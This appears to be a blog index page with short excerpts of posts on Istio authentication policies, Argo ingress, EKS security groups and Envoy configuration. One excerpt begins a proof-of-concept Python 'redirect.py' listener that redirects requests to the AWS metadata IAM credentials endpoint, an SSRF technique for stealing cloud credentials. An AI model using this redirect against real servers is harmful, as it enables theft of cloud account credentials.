Create RequestAuthentication and AuthorizationPolicy resources 1apiVersion: security.istio.io/v1beta1 2kind: RequestAuthentication 3metadata: 4 name: "request-authentication-sso" 5 namespace: istio-system 6spec: 7 jwtRules: 8 - issuer: "https://issue.example.com/sso" 9 jwksUri: …

read more

POC process Construct attack machine to listener and redirect the credentials url 1#!/usr/bin/env python3 2 3 4# ./redirect.py 1337 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 5 6import sys 7from http.server import HTTPServer, BaseHTTPRequestHandler 8 9if len(sys.argv)-1 != 2: 10 …

read more

Simple diagram for istio ingress gateway to access argo ui argo.dev.local —-> istio-ingressgateway —-> argo server virtual service —-> argo distination rule —-> argo kubernetes service Use the shell script generate the CA root certificate and csr for sub domain add the certificate …

read more

The EKS deployment should use ServiceAccount for pods Create the CR to eks cluster Control the access to Istio ingress gateway through bind the securitygroup to pod network interface. 1apiVersion: vpcresources.k8s.aws/v1beta1 2kind: SecurityGroupPolicy 3metadata: 4 name: istio-internal-ingressgateway-sg 5 namespace: …

read more

Can view the envoryproxy default config in docker container 1# Launch the envoryproxy container 2# The 9901 port is envoryproxy admin and metrics, the 10000 port is listner 3# Then you can open http://127.0.0.1:9901 and http://127.0.0.1:10000 to view details 4docker run -it –rm -p 9901:9901 -p 10000:10000 –name envoy …

read more